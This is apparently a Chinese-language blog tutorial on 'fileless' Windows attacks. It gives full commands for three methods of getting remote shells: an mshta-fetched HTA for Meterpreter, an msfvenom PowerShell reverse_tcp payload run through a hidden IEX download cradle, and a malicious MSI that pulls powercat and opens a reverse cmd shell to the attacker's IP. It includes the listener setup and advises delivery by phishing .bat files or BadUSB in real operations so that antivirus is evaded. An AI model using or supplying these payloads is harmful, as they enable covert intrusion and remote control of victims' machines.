1、无文件落地攻击的几种方法
传统的恶意软件(例如.exe,shell.ps1)攻击感染一个系统之前会把恶意文件(例如exe)复制到目标磁盘中并修改注册表并连接到此文件来达到一个长期隐藏的目的,无文件落地攻击是指不向磁盘写入可执行文件,而是以脚本形式存在计算机中的注册表子项目中,以此来躲避杀软的检测,那么就绕过了传统防病毒(AV),传统AV的查杀方法是寻找被保存到磁盘上的文件并扫描这些文件以确定它们是否恶意的。
1.1、msf构建mshta文件获取meterpreter shell上
1.1.1、msiexec.exe属于进程系统,是Window installer的一部分,用于安装Windows installer安装包(MSI),对系统的正常运行非常重要,一般运行在Microsoft update 安装更新或者安装部分软件
1.1.2、在目标主机上直接执行以下命令实现无文件落地攻击
mshta.exe http://192.168.111.132:8080/hrELiwXJfFs8Q.hta
1.1.3、msf端会弹回反弹的meterpreter shell,如上图
1.1.4、因为这里有Java反序列化漏洞,所以命令可以在Java反序列化终极工具上执行。
在实战中,可以将连接命令设计成.bat文件,引诱或者钓鱼的方式在目标机器执行bat文件,也可通过社工badusb等方式(下同),后面这块我会重点学习,分享下
1.2、powershell获取meterpreter shell
powershell允许攻击者入侵受害者的系统,利用此方式可获取权限,便于后期在系统中横向移动。攻击者可直接把恶意代码直接加载到内存中,无需写入磁盘,攻击者还可以使用PowerShell通过Metasploit或PowerSploit等框架自动执行数据窃取和感染。
1.2.1、令msfvenom生成一个payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.111.132 LPORT=4444 -f psh-reflection >shell.ps1
1.2.2、在msf端启动监听
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.111.132
set lport 4444
set ExitOnSession false
exploit -j -z
1.2.3、利用python启动一个简单的web服务器用来托管shell.ps1
python2 -m SimpleHTTPServer 8899 ///这里8899是我们构造服务器的端口,随便设
1.2.4、在目标主机上使用powershell执行下列命令,实现powershell的无落地文件攻击
powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.111.132:8899/shell.ps1'))"
目标机器执行结束后,powershell界面会立马隐藏
1.2.5、我们构造的简易web服务器这里会出现一条连接记录
1.2.6、刚才设置的msf监听界面会收到反弹的shell
1.3、msiexec获取cmd命令交互
msiexec.exe,系统进程,是Windows Installer的一部分。用于安装Windows Installer安装包(MSI),对系统的正常运行是非常重要的,一般在运行Microsoft Update安装更新或安装部分软件的时候出现,占用内存比较大。
1.3.1、使用msfvenom 构造一个恶意的msi程序,构造成功
msfvenom -p windows/exec CMD="powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besomorhino/powercat/master/powercat.ps1'); powercat -c 192.168.111.132 -p 8800 -e cmd" -f msi > evil.msi
1.3.2、使用python开启一个简单的web服务器用于托管上面生成的smi载荷
python2 -m SimpleHTTPServer 7788 ////这里端口为7788
1.3.3、在攻击机上使用nc端口监听,在这里与web服务器的端口不要搞混了
nc -lvp 8800
1.3.4、在目标主机上执行以下命令实现无文件落地执行攻击载荷,这里是访问的web服务端的端口7788,不要搞错了
msiexec /q /i http://192.168.111.132:7788/evil.msi
1.3.5、之后web端成功接收访问请求记录
在nc(NetCat,一个监听工具)端返回一个cmd命令交互,防止杀软警觉,心跳值比较低,所以等待的时间稍微比较长一点
本文章持续更新,一些无文件落地攻击的方法还在研究中。。。。